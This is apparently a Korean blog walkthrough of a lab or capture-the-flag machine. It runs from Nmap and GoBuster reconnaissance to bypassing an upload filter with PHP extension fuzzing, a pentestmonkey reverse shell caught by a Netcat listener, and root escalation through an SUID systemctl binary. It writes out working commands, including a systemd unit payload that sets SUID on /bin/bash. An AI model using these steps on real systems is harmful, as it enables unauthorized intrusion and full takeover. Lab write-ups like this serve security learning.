Nmap과 GoBuster를 활용한 웹 취약점 탐색 및 systemctl SUID 권한 상승

능동적 정찰 및 포트 스캐닝

목표 시스템의 공격 표면을 파악하기 위해 네트워크 포트를 스캔하여 실행 중인 서비스를 식별합니다. Nmap은 호스트 발견 및 서비스 열거에 널리 사용되는 강력한 도구입니다. 주요 스캔 옵션은 다음과 같습니다.

  • -sV: 실행 중인 서비스의 버전 정보 탐지
  • -p <port> 또는 -p-: 특정 포트 지정 또는 전체 포트(1-65535) 스캔
  • -Pn: 호스트 발견(Ping) 단계를 건너뛰고 포트 스캔만 수행
  • -sC: 기본 NSE(Nmap Scripting Engine) 스크립트 실행
  • -O: 운영체제(OS) 핑거프린팅 및 탐지

목표 IP를 대상으로 전체 포트 스캔과 서비스 버전 탐지를 수행합니다.

nmap -sC -sV -O -p- 10.10.55.21

웹 디렉터리 열거

웹 서비스가 열려 있는 포트를 확인했다면, GoBuster를 사용하여 숨겨진 디렉터리나 파일을 무차별 대입(Brute-force) 방식으로 탐색합니다. 이는 쉘 업로드가 가능한 경로를 찾는 데 유용합니다.

  • -u: 대상 URL 지정
  • -w: 사전 파일(Wordlist) 경로 지정
  • -e: 전체 URL을 출력하는 확장 모드
  • -t: 동시 스레드 수 설정

SecLists 사전을 활용하여 디렉터리 스캔을 진행합니다.

gobuster dir -u http://10.10.55.21:3333 -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 50

파일 업로드 취약점 악용 및 쉘 획득

스캔 결과를 통해 파일 업로드 폼이 존재하는 경로를 발견했다면, 해당 기능을 악용하여 리버스 쉘(Reverse Shell)을 업로드할 수 있습니다. 기본적인 .php 확장자는 서버 측 필터에 의해 차단될 수 있으므로, Burp Suite의 Intruder 모듈을 사용하여 우회 가능한 확장자를 퍼징(Fuzzing)합니다.

다음과 같은 확장자 목록을 준비합니다.

.php
.php3
.php4
.php5
.phtml
.php7
.phps
.pht
.phar

Burp Suite에서 업로드 요청을 캡처한 후 Intruder로 전송합니다. Sniper 공격 유형을 선택하고 파일 이름의 확장자 부분을 페이로드 위치로 지정합니다. 사전 목록을 로드하고 URL 인코딩을 비활성화한 뒤 공격을 실행합니다. 응답 길이를 분석하여 필터를 우회하는 확장자(예: .phtml)를 식별합니다.

확인된 확장자를 사용하여 리버스 쉘 스크립트(예: pentestmonkey의 php-reverse-shell)의 확장자를 변경하고, 내부의 IP와 포트를 공격자 머신에 맞게 수정한 뒤 업로드합니다.

공격자 머신에서 Netcat 리스너를 실행합니다.

nc -lvnp 4444

웹 브라우저에서 업로드된 .phtml 파일 경로에 접근하면 리버스 쉘이 트리거되어 터미널에서 대상 서버의 셸을 획득할 수 있습니다.

SUID 비트 악용을 통한 권한 상승

획득한 셸은 낮은 권한의 웹 서버 사용자일 가능성이 높습니다. root 권한으로 상승하기 위해 SUID(Set owner User ID up on execution) 비트가 설정된 실행 파일을 탐색합니다. SUID가 설정된 파일은 실행 시 파일 소유자(주로 root)의 권한으로 동작합니다.

시스템 전체에서 SUID가 설정된 파일을 검색합니다.

find / -type f -perm -04000 -ls 2>/dev/null

검색 결과에서 systemctl 바이너리에 SUID 비트가 설정된 것을 확인했다면, GTFOBins와 같은 데이터베이스를 참고하여 악용 방법을 모색합니다. systemctl은 systemd 서비스를 관리하는 도구로, 임의의 서비스 파일을 로드하여 root 권한으로 명령어를 실행할 수 있습니다.

먼저, 현재 셸을 안정적인 TTY 셸로 업그레이드합니다.

python3 -c 'import pty; pty.spawn("/bin/bash")'

이제 systemd 서비스 유닛 파일을 동적으로 생성하고 systemctl을 통해 실행하는 스크립트를 작성합니다. 이 스크립트는 /bin/bash에 SUID 비트를 부여하는 역할을 합니다.

export PAYLOAD_SVC=$(mktemp).service

echo '[Service]
Type=oneshot
ExecStart=/bin/bash -c "chmod u+s /bin/bash"
[Install]
WantedBy=multi-user.target' > $PAYLOAD_SVC

/bin/systemctl link $PAYLOAD_SVC
/bin/systemctl enable --now $PAYLOAD_SVC

위 스크립트가 성공적으로 실행되면 /bin/bash 바이너리에 SUID 권한이 부여됩니다. 마지막으로 -p 플래그와 함께 bash를 실행하여 유효 사용자 ID(effective user ID)를 유지하면서 root 권한을 획득합니다.

bash -p

태그: Nmap Gobuster BurpSuite SUID systemctl

6월 19일 20:00에 게시됨